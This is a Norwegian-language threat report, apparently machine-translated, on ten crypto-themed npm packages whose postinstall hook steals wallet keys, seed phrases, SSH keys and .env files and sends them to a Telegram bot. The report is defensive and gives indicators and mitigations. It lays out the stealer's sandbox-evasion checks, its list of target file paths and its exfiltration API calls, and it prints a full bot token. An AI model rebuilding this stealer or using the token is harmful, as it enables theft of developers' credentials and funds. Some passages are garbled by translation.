TL; DR
9. juni 2026 en enkelt npm-utgiverkonto, aicrypto-xzggg, sendt ti pakker med krypto- og Web3-inspirerte navn – farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, og seks til.
Hver pakke kjører den samme nyttelasten fra en postinstall hook. Ved installasjon sjekker den om den kjører inne i CI eller en sandkasse – hvis ikke, leser den lommeboknøkkellagre, seedphrase-filer, SSH-nøkler og .env filer fra seks blokkjede-økosystemer og overfører dem til en Telegram-bot.
Den eneste indikatoren en forsvarer kan lete etter umiddelbart er Telegram-bot-ID-en. 8227918239.
alvorlighetsgrad: kritisk — direkte tyveri av signeringsnøkler og gjenopprettingsfraser fra utviklerarbeidsstasjoner.
Angrepet: Hvordan det fungerer
Pakkene markedsfører seg selv som verktøy for blokkjedeutvikling. pakke.json er minimal og peker installasjonslivssyklusen mot et skript:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js er en enlinjet shim som laster den virkelige nyttelasten: krever(“../src/index.js”). Fordi etterinstallasjon kjører automatisk under npm installasjon, ingen kodeimport fra utvikleren er nødvendig – det er nok å plassere pakken i et avhengighetstre for å kjøre den.
Drapkjeden inni src/index.js er fire trinn:
- Miljøsjekk. En vaktfunksjon avgjør om verten ser ut som en byggeagent eller analysesandkasse.
- Forsinkelse. Henrettelsen utsettes etter en setTimeout på omtrent 7.4 sekunder.
- Samling. En fast liste over lommebok-, nøkkel- og hemmelige filstier blir gjennomgått; eksisterende filer settes i kø.
- Eksfiltrering. Filer i kø sendes til en Telegram-bot, etterfulgt av en sammendragsmelding.
Samlingsmållisten spenner over seks kjeder pluss generiske utviklerhemmeligheter. Trimmet:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Tjueen stier totalt. Katalogoppføringer som ~/.ethereum/nøkkelbutikk utvides, og alle filer inni dem settes i kø. Eksfiltreringen bruker Telegram Bot API direkte – en send melding anrop med et verts- og filsammendrag, deretter en sendDokument flerdelt opplasting for hver fil:
tekst
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Sammendragsmeldingen som koden setter sammen begynner med den litterale strengen KRYPTOSTJELER, etterfulgt av vertsnavn, brukernavn, navn på opprinnelig pakke, filantall og tidsstempel.
Hva er nytt her
Differensieringsmekanismen er ikke tyverimekanismen — Telegram-basert exfil fra npm etterinstallasjon hooks er godt opptråkket. Det er den henrettelsesporten. Før nyttelasten gjør noe, kaller den en funksjon som returnerer sann når verten ligner en CI-løper eller sandkasse, og returnerer tidlig når den gjør det:
tekst
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Container-id-regexen er den bemerkelsesverdige klausulen: et vertsnavn på 12 heksadesimale tegn er standardformen Docker tildeler en container, slik at nyttelasten behandler «vertsnavnet mitt ser ut som en Docker-container» som en grunn til å forbli inaktiv. Kombinert med syv sekunders forsinkelse favoriserer designet å kjøre på en utviklers virkelige arbeidsstasjon og forbli stille overalt som ser ut som automatisert analyse. Det er denne porten som undertrykte dynamiske analysesignaler og beholdt den statiske exfil-flyten som det primære beviset for domfellelse.
Tidslinje
| Dato (UTC) | Event |
|---|---|
| 2026-06-09 ~02:48 | De første pakkene i klyngen ble flagget ved publisering (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Medlemmer med høyere versjoner er flagget (ethereum-kit-9 på 1.25.36, wallet-sdk-9 kl. 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Endelige medlemmer flagget (defi-tools-39 på 4.26.29, swap-sdk-87 på 4.63.78, farming-tools-12 kl. 4.68.54) |
| 2026-06-09 | Alle ti klassifisert som skadelig og rapportert for fjerning av registeret |
Alle ti dukket opp i løpet av omtrent sytti minutter, i samsvar med en enkelt manusbasert publisering som ble kjørt fra én konto.
Indikatorer for kompromiss
Nettverks- og atferdsindikatorer (vert defanget):
| Indikator | Verdi |
|---|---|
| Exfil-endepunkt | api[.]telegram[.]org (Telegram Bot API) |
| Telegram-bot-ID | 8227918239 |
| Bot-token | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram chat-ID | 6433587894 |
| Installer krok | postinstall → scripts/postinstall.js → src/index.js |
| Markørstreng | CRYPTO STEALER i den samlede sammendragsmeldingen |
| Publisher | aicrypto-xzggg (oppgitt e-post vipsyria88@gmail[.]com, ubekreftet) |
Pakker og versjoner, hver med SHA-256 tilhørende sin src/index.js nyttelast (nyttelastene er funksjonelt identiske og skiller seg bare i den innebygde pakkenavnetiketten, så hver hash er distinkt):
| Pakke | Versjon | SHA-256 av src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
En enkel søkeforespørsel: søk i installasjonslogger og låsefiler for et av de ti navnene, og søk i utgående trafikk for tilkoblinger til Telegram Bot API fra bygg- eller utviklerverter som ikke bruker det ellers.
Attribusjon og observert atferd
Alle ti pakkene ble publisert av én konto, aicrypto-xzggg, hvis oppgitte e-postadresse er vipsyria88@gmail[.]comVerken e-postadressen eller kildekontrolllenken er bekreftet i registermetadataene, og kontoen har en sterkt negativ omdømmescore. Vi har ikke bekreftet hvem som driver kontoen.
To detaljer er verdt å skille fra enhver identitetspåstand. For det første, pakke.json forfatter feltlesninger Alex Smith på hver pakke, mens den faktiske publiseringskontoen er aicrypto-xzggg; forfatterfeltet er selvdeklarerte metadata og etablerer ikke forfatterskap. For det andre varierer versjonsnumrene mye – noen medlemmer sitter på 1.0.0, andre på 4.68.54 – noe som er i samsvar med å gjenbruke én nyttelast på tvers av nylig utarbeidede pakkenavn i stedet for å opprettholde ekte utgivelseshistorikker.
Oppførselen er ensartet på tvers av klyngen: samme målsti-liste, samme Telegram-bot-ID og chat-ID, samme miljøport, samme KRYPTOSTJELER markør. Denne ensartetheten er den sterkeste koblingen mellom pakkene. Det er et signal fra samme operatør, ikke en identitet.
Innvirkning, trender og veiledning for forsvarere
Eksponeringen er konkret. En utvikler som installerer noen av disse pakkene på en arbeidsstasjon som inneholder en programvarelommebok, en frøfrasefil eller en SSH-nøkkel, får disse filene lest og overført fra verten i løpet av sekunder. Gjenopprettingsfraser og signeringsnøkler utløper ikke slik et økttoken gjør; når en ... mnemonic.txt eller en Solana id.json forlater maskinen, er midlene den kontrollerer i fare inntil de flyttes. Den samme kjøringen fanger også opp .og V filer, som rutinemessig inneholder API-nøkler og databaselegitimasjon.
To trender ligger bak denne klyngen. Den første er den fortsatte bruken av krypto- og Web3-temanavn for å kurtisere et spesifikt publikum – utviklere som oppbevarer lommebøker og nøkler på samme maskin som de installerer avhengigheter på. Den andre er modningen av sandkasse-unngåelse i nyttelaster under installasjon. En gate som sjekker for CI-miljøvariabler, runner-brukernavn og en Docker-container-ID-vertsnavnform er et bevisst forsøk på å oppføre seg annerledes under analyse enn på en ekte arbeidsstasjon, og det hever standarden for ren dynamisk deteksjon.
For forsvarere:
Installer med skript deaktivert som standard. npm install –ignore-scripts, eller sett ignorer-skript=true in .npmrc, forhindrer etterinstallasjon utførelse; aktiver skript bare for de spesifikke avhengighetene som virkelig trenger dem.
Hold lommebøker og signeringsnøkler unna bygge- og utviklingsmaskiner. Bruk en maskinvarelommebok eller en dedikert, avhengighetsfri signeringsvert.
Behandle .og V, nøkkellagre og frøfrasefiler som kronjuveler. De bør aldri ligge i en katalog som også er en npm installasjon arbeidstre.
Let etter utgående tilkoblinger til Telegram Bot API fra CI og utviklerverter. De fleste byggemiljøer kaller det aldri; et som plutselig gjør det, rett etter en installasjon, er verdt å undersøke.
Fest og gjennomgå avhengigheter. En helt ny pakke med et generisk kryptonavn, en etterinstallasjon hook, og ingen repository-lenke fortjener en titt før den går inn i en låst fil.
Klausulen om container-ID-unngåelse er også en påminnelse for analytikere: en nyttelast under installasjon som forblir inaktiv i en sandkasse er ikke godartet, den er selektiv. Statisk gjennomgang av installasjonsbanen er fortsatt den pålitelige måten å se hva dynamisk utførelse kan nekte å vise.
Referanser
npm installasjonsdokumentasjon — livssyklusskript og –Ignorer-skript— referanse for deaktivering av automatisk installasjon hooks.





